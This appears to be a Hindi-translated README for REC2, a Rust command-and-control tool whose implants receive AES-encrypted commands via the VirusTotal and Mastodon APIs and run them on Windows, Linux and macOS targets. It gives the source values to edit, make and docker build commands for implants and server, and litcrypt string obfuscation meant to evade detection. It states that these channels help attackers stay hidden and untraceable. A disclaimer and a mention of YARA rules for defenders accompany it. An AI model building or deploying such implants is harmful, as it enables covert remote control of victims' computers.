
# REC2 (Rusty External Command and Control) REC2 (Rusty External Command and Control) एक क्लाइंट और सर्वर टूल है जो ऑडिटर को VirusTotal और Mastodon APIs से कमांड निष्पादित करने की अनुमति देता है, जो Rust में लिखा गया है। 🦀
:shipit: जानकारी: REC2 एक पुराना व्यक्तिगत प्रोजेक्ट है (2023 की शुरुआत) जिसके विकास को मैंने जारी नहीं रखा। यह उन प्रोजेक्ट्स की सूची का हिस्सा है जिन्होंने मुझे Rust सीखने में मदद की। कोड संभवतः अप्रचलित माना जाता है और अपने सर्वोत्तम रूप में नहीं है। शायद मैं वहीं से आगे बढ़ूँ जहाँ मैंने छोड़ा था #रोडमैप। हालाँकि, REC2 पूरी तरह कार्यात्मक है और VirusTotal और Mastodon APIs से Linux / macOS या Windows टारगेट पर कमांड निष्पादित करने की अनुमति देता है।
⚠️ अस्वीकरण: REC2 केवल शैक्षिक उद्देश्यों के लिए है। इसे अपने विवेक से उपयोग करें, किसी भी हुए नुकसान के लिए मैं उत्तरदायी नहीं हूँ। पूर्व सहमति के बिना लक्ष्यों पर हमला करने के लिए इस टूल का उपयोग अवैध है। सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करना अंतिम उपयोगकर्ता की जिम्मेदारी है। मैं कोई दायित्व नहीं लेता हूँ और इस टूल के किसी भी दुरुपयोग या क्षति के लिए उत्तरदायी नहीं हूँ।
🔴 Redteamer: मैं आपके साथ virustotal और mastodon का उपयोग करने वाले अपने एक बाहरी C2 का बीटा संस्करण साझा करता हूँ
🔵 Blueteamer: आप इसी रिपॉजिटरी में REC2 इम्प्लांट्स के लिए yara नियमों का एक उदाहरण पा सकते हैं
REC2, या Rusty External Command and Control, Rust प्रोग्रामिंग भाषा में विकसित एक बहुमुखी Command and Control (C2) टूल है। यह macOS, Linux और Windows सिस्टम पर रिमोट इम्प्लांट्स (क्लाइंट्स) को प्रबंधित करने का एक विवेकपूर्ण और प्रभावी साधन प्रदान करता है। REC2 सर्वर और इम्प्लांट्स के बीच AES का उपयोग करके एन्क्रिप्टेड संदेशों को प्रसारित करने के लिए VirusTotal या Mastodon जैसे तृतीय-पक्ष APIs का उपयोग करता है, जिससे हमलावर इन बाहरी चैनलों के माध्यम से छिपकर काम कर सकते हैं। इम्प्लांट्स लंबित कार्यों (jobs) की निगरानी कर सकते हैं, लक्ष्य सिस्टम पर कार्यों को प्राप्त कर सकते हैं, डिक्रिप्ट कर सकते हैं, निष्पादित कर सकते हैं, और उसी APIs के माध्यम से परिणामों को सुरक्षित रूप से वापस भेज सकते हैं। इन APIs को मध्यस्थ के रूप में उपयोग करने से अनामीकरण की एक अतिरिक्त परत जुड़ती है, जिससे हमलावर तक पहुँचने का पता लगाना कठिन हो जाता है।

implants/(mastodon,virustotal)/src/main.rs में कुछ मान बदलें:
// (MASTODON or VIRUSTOTAL) TOKEN
// <https://mastodon.be/settings/applications>
// <https://developers.virustotal.com/reference/authentication>
let token = lc!("TOKEN").to_owned();
// (MASTODON or VIRUSTOTAL) FULL URL
//let full_url = lc!("https://mastodon.xx/@username/100123451234512345").to_owned();
let full_url = lc!("https://www.virustotal.com/gui/file/99ff0b679081cdca00eb27c5be5fd9428f1a7cf781cc438b937cf8baf8551c4d").to_owned();
Windows x64 इम्प्लांट स्टैटिक बाइनरी बनाएँ:
make virustotal_windows
make mastodon_windows
आप अपनी वर्तमान निर्देशिका में (rec2_virustotal_x64.exe या rec2_mastodon_x64.exe) पा सकते हैं।
और अंत में, सर्वर बाइनरी कंपाइल करें:
make c2server_release
./server_release -h
./server_release VirusTotal -h
./server_release Mastodon -h
# Example
./server_release VirusTotal --url <URL> --token <TOKEN> --key <AES_KEY>
अब आपको केवल अपने टारगेट में इम्प्लांट निष्पादित करने की आवश्यकता है।
आप इसे Linux, Windows या mac0S के लिए कंपाइल करने हेतु make कमांड का उपयोग कर सकते हैं।
अधिक कमांड Makefile में:
REC2 Server:
usage: make c2server_debug
usage: make c2server_release
usage: make c2server_windows
usage: make c2server_windows_x64
usage: make c2server_windows_x86
usage: make c2server_linux
usage: make c2server_linux_aarch64
usage: make c2server_linux_x86_64
usage: make c2server_macos
usage: make c2server_arm_musl
usage: make c2server_armv7
VirusTotal implant:
usage: make virustotal_debug
usage: make virustotal_release
usage: make virustotal_windows
usage: make virustotal_windows_x64
usage: make virustotal_windows_x86
usage: make virustotal_linux
usage: make virustotal_linux_aarch64
usage: make virustotal_linux_x86_64
usage: make virustotal_macos
usage: make virustotal_arm_musl
usage: make virustotal_armv7
Mastodon implant:
usage: make mastodon_debug
usage: make mastodon_release
usage: make mastodon_windows
usage: make mastodon_windows_x64
usage: make mastodon_windows_x86
usage: make mastodon_linux
usage: make mastodon_linux_aarch64
usage: make mastodon_linux_x86_64
usage: make mastodon_macos
usage: make mastodon_arm_musl
usage: make mastodon_armv7
Dependencies:
usage: make install_windows_deps
usage: make install_macos_deps
Documentation:
usage: make c2server_doc
usage: make virustotal_doc
usage: make mastodon_doc
Cleaning:
usage: make clean
सभी निर्भरताएँ सुनिश्चित करने के लिए REC2 को docker के साथ बनाएँ।
docker build --rm -t rec2 .
# Then to build C2 server:
docker run --rm -v ./:/usr/src/rec2 rec2 c2server_windows
docker run --rm -v ./:/usr/src/rec2 rec2 c2server_linux
docker run --rm -v ./:/usr/src/rec2 rec2 c2server_macos
# Then to build VirusTotal implant:
docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_windows
docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_linux
docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_macos
# Then to build Mastodon implant:
docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_windows
docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_linux
docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_macos
आपको अपने सिस्टम पर Rust स्थापित करने की आवश्यकता होगी।
https://www.rust-lang.org/fr/tools/install
:warining: इसे कंपाइल करने से पहले आपको अपने टर्मिनल में
LITCRYPT_ENCRYPT_KEYवेरिएबल export करने की आवश्यकता है। (इम्प्लांट्स स्ट्रिंग्स ऑब्सफस्केशन के लिए)
export LITCRYPT_ENCRYPT_KEY="MYSUPERPASSWORD1234567890"
LITCRYPT_ENCRYPT_KEY="MYSUPERPASSWORD1234567890"
:warining: आपको implants/(virustotal,mastodon)/main.rs में AESKEY बदलने तथा URL और TOKEN बदलने की आवश्यकता है।
यहाँ cargo कमांड का उपयोग करके "release" और "debug" संस्करणों को कंपाइल करने का तरीका दिया गया है।
git clone https://github.com/g0h4n/REC2
cd REC2
# Implants
# choise your implant Mastodon or VirusTotal